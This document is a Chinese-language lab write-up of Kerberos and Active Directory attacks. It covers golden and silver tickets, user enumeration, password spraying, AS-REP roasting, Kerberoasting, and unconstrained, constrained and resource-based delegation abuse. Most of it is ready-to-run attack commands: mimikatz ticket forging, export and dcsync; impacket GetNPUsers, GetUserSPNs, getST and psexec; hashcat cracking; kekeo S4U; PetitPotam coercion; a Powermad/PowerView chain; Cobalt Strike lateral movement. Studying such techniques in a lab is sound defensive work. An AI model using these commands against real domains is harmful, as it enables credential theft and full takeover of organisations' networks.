TGT阶段
黄金票据
利用的是第二次:身份认证
请求包,身份认证返回包中的ticket
使用krbtgt
的 NTLM hash加密,如果能获得krbtgt hash,就能自己制作TGT票据。即黄金票据
kerberos::golden /domain:[domain] /sid:[domain sid] /id:500 /user:AnyFuckUser /krbtgt:[krbtgt NTLM Hash]
用户名枚举
在请求TGT票据协商请求包中,因为服务器没有去验证请求用户的密码,所以可以修改CNameString
去猜解域用户名
nmap的krb5-enum-users
脚本使用该方式来枚举用户名。
python 脚本
密码爆破/密码喷洒
当请求TGT时用户对应的密码不正确,服务器会返回KDC_ERR_PREAUTH_FAILED
错误。可以用这个值去暴力破解用户对应的密码。
(错误密码的数据返回包)
(正确密码返回的数据包)
python脚本实现,爆破和喷洒用的都是同一个函数,判断一下返回值就可以了
AS-Repoasting
域内用户可以配置 “不要求预身份认证”。
当这些用户向服务器发起协商请求包时,对于通过协商请求的响应包,可以获得响应包中的cipher
字段(这部分是使用用户hash加密session-key),将其拼接成 Kerberos 5 AS-REP etype 23
使用hashcat破解出该用户的明文口令。
拼接方式为:$krb5asrep$23$[user]@[domain]:[cipher前32位]$[cipher后续值]
用hashcat破解
hashcat -m 18200 hash.txt /usr/share/wordlist/rockyou.txt
impacket里面对于设置该值的用户使用getTGT
脚本是获取不到TGT票据的,会报SessionKeyDecryptionError
错误。响应数据包中会直接返回TGT票据
用GetNPUsers
脚本就可以解析了
impacket-GetNPUsers yunwei.lab/user:123.com -dc-ip 20.0.0.100
python脚本实现,输入用户名/用户名字典,输出hashcat可直接跑的命令
Path The Hash / Path The Key
在使用账号密码登录时会把密码加密成hash,所以直接使用hash去认证也可以。如果hash为NTLM + RC4加密,则为Pass The Hash。Hash为AES Key则为Pass The Key
TGS阶段
Kerberoasting
在请求TGS票据的时候,只要请求的TGT票据是正确的,服务器就会返回请求服务对应的TGS票据,并不会去检查访问权限。
返回的TGS票据中ticket.enc_part
是用要请求的服务NTLM Hash加密的,爆破这个值就能获得请求服务的NTLM Hash
hashcat 对应Hash类型13100
impacket-GetUserSPNs yunwei.lab/jm:123.com -save -outputfile 1.hash
hashcat -m 13100 -a 0 1.hash /usr/share/wordlists/rockyou.txt
python脚本的实现,这里的sname
的spn对应的用户,在daiker的文章里面是spn对应的具体服务,两者都可以,只是这里我的脚本并没有支持
白银票据
这个ticket用于AP_REQ的认证。其中里面的enc_part是加密的,用户不可读取里面的内容。在AS_REQ请求里面是,是使用krbtgt的hash进行加密的,而在TGS_REQ里面是使用要请求的服务的hash加密的。因此如果我们拥有服务的hash就可以自己制作一个ticket,既白银票据。
非域约束委派
假设这样一个场景,如果域管理员账户委托一台域机器去访问域控的SMB服务,恰巧这台域机器设置了非约束委派机制,那么域管理员账户会将它的TGT缓存到这台域机器,以便后续使用。
环境配置
非域约束委派需要两台机器,Server 2012为域控,Win7为域内的普通机器。
主机名 | 登录账户 | |
---|---|---|
Windows Server 2012 | ||
Windows 7 | WIN7 | john |
域控的配置
首先在Computers
文件夹中将Windows 7
对应的机器设置为信任此计算机来委派任何服务(非约束委派)
然后将Windows 7
中登录的用户john
设置spn
setspn -A anysrv/WIN7.test.lab john
之后在Users
文件夹中选中将john
的委派属性也设置为信任此用户作为任何服务的委派
,如图
这个地方需要将设置域机器和其登录的域用户均设置为非约束委派,如果其中一个没设置,域管理员登录时都不会将票据保留在机器中
最后,添加一个计划任务模拟域控登录Windows 7执行命令,经过上面的配置,模拟域控登录Windows 7
这台机器,保留票据。
也可以不创建计划任务,这只是一个可选项。不创建计划任务就需要利用Relay来获取域管票据,见下文。
schtasks /create /ru test.lab\administrator /sc minute /mo 1 /tn saving_ticket /tr "powershell.exe c:/aa.ps1"
C:/aa.ps1
的脚本内容如下:
$pcname="win7"
$sess = New-PSSession -ComputerName $pcname
Enter-PSSession -Session $sess
Invoke-Command -ComputerName $pcname -ScriptBlock { $service = "bits"
$serviceinfo = get-service $service
If($serviceinfo.Status -ne 'running'){
try{
Start-Service $service -ErrorAction Stop
}
catch{
$error[0].exception.message
}
}
else{
write-output "Service is running"
} }
Exit-PSSession
域机器的配置
Windows 7
这台机器只需要开启WINRM服务就行,开启后会开放5985
端口
winrm quickconfig
利用
假设Windows 7
为我们在内网的立足点,我们使用ADFind
这款工具查找具有非约束委派的用户。
samAccountType
中805306368
查找的是具有非约束委派的用户,805306369
查找的是具有非约束委派的机器
AdFind.exe -b "DC=test,DC=lab" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
结果显示,john
这个用户具有非约束委派权限
继续查询哪些域机器具有非约束委派权限
正好就是我们拿到的立足点机器。所以我们以本地SYSTEM
权限执行mimikatz
获取所有内存票据。如图,拿到了域管理员留在本机上的ticket
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit"
获得ticket
后使用mimikatz
导入
mimikatz.exe "kerberos::ptt [0;aa]-2-0.kirbi"
之后就能dcsync了
mimikatz.exe "lsadump::dcsync /all"
或者Cobalt Strike 用psexec进行横向
jump psexec64 DC smb-local
如果有杀软拦截psexec,而域控又恰巧开启的3389端口,可以利用粘滞键替换拿到权限
其他
链接里面说可以用打印机的bug让域控访问域机器从而获取票据
其他文章,这里没复现出来,主要是域机器的本地管理员懒得弄了。
Relay + 非约束委派打法
Relay的相关原理在别的文章里面有说,利用PetitPotam.exe
强制让域控访问非约束委派的机器,就会在该机器上留下域控的票据,之后的利用方式就和上面一样了。
PetitPotam.exe <域机器ip> <域控ip> 1
域约束委派
也就是TGS REQ部分,需要扩展S4U2PROXY
环境配置
域控
域约束委派的用户配置如下:
- 设置用户的spn属性
setspn -A cifs/win81.test.lab jm
- 配置委派,设置为
仅信任此用户作为指定服务的委派
、使用任何身份验证协议
、添加DC的服务
域约束委派攻击利用
AdFind.exe -b "DC=test,DC=lab" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
请求TGT
kekeo.exe "tgt::ask /user:john /domain:test.lab /password:123.com" "exit"
请求TGS
kekeo.exe "tgs::s4u /tgt:TGT_john@TEST.LAB_krbtgt~test.lab@TEST.LAB.kirbi /user:Administrator@test.lab /service:cifs/DC.test.lab" "exit"
导入票据,要导入具有cifs权限的票据
mimikatz-bypass.exe "kerberos::ptt TGS_Administrator@test.lab@TEST.LAB_cifs~DC.test.lab@TEST.LAB.kribi" "exit"
之后就能访问域控dir \\dc.test.lab\c$
。cifs服务只能访问服务器的文件,要想做DCSync需要服务器允许委派LDAP服务
其他
先知上一篇文章提到可以给委派的用户添加一条krbtgt的spn拿到黄金票据
基于资源的域约束委派
基于资源的约束委派(RBCD)是在Windows Server 2012
中新加入的功能,与传统的约束委派相比,它不再需要域管理员权限去设置相关属性。RBCD
把设置委派的权限赋予了机器自身,既机器自己可以决定谁可以被委派来控制我。
也就是说机器自身可以直接在自己账户上配置msDS-AllowedToActOnBehalfOfOtherIdentity
属性来设置RBCD
。该属性在ADExplorer
中显示如下(该属性默认是不存在的,为了方便理解我这里手动添加了一个,不影响后续实验):
一般为将机器加入域的用户账户能修改这个属性。
现在我们知道了谁可以修改这个属性,还需要一个条件就是需要一个具有SPN属性的用户来获取TGT票据。机器账户默认就有两条SPN属性
环境搭建
域控:20.0.0.100,添加普通用户john:123.com
作为Win10账户,添加用户AddUser:123.com
用户将Win10加入域
Win10:20.0.0.7,普通机器,用AddUser
加入域之后,该机器地mS-DS-CreatorSID
属性值会变成AddUser
的SID
,表明windows 10这台机器是由AddUser
这个用户添加进域的
寻找RBCD机器
我们先手动用ADExplorer
查询一遍,了解原理之后就可以很方便地编写工具了。
查询计算机的mS-DS-CreatorSID
确认是由SID
为1110
添加进来的,而该SID对应的用户为AddUser
。所以可以确定能够修改Win10这台机器msDS-AllowedToActOnBehalfOfOtherIdentity
这个属性的用户为AddUser
提权
在windows 10 上,我们以AddUser
用户打开一个powershell窗口进行操作
runas /user:test.lab\adduser powershell
# 修改powershell执行策略
Set-ExecutionPolicy Bypass -Scope Process
# 添加机器账号mach1
Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount mach1 -Password $(ConvertTo-SecureString "123.com" -AsPlainText -Force)
# 查询机器账号SID
Get-DomainComputer -Identity mach1 -Properties objectsid
# 设置WIN10 的资源约束委派属性为机器账号SID
Import-Module .\PowerView.ps1
$SD =New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList 'O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-556516541-2133182263-1194801646-1112)';
$SDBytes= New-Object byte[] ($SD.BinaryLength);
$SD.GetBinaryForm($SDBytes,0);
Get-DomainComputer WIN10 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
上述步骤完成后,可以在域控上确认,WIN10
机器的msDS-AllowedToActOnBehalfOfOtherIdentity
确实变成了mach1
的SID
之后,就可以用impacket获取mach1
的TGT票据,然后psexec
、smbexec
都可以获得shell
impacket-getST -dc-ip 20.0.0.100 test.lab/mach1\$:123.com -spn cifs/win10.test.lab -impersonate administrator
export KRB5CCNAME=administrator.ccache;impacket-psexec -k -no-pass win10.test.lab
export KRB5CCNAME=administrator.ccache;impacket-smbexec -k -no-pass win10.test.lab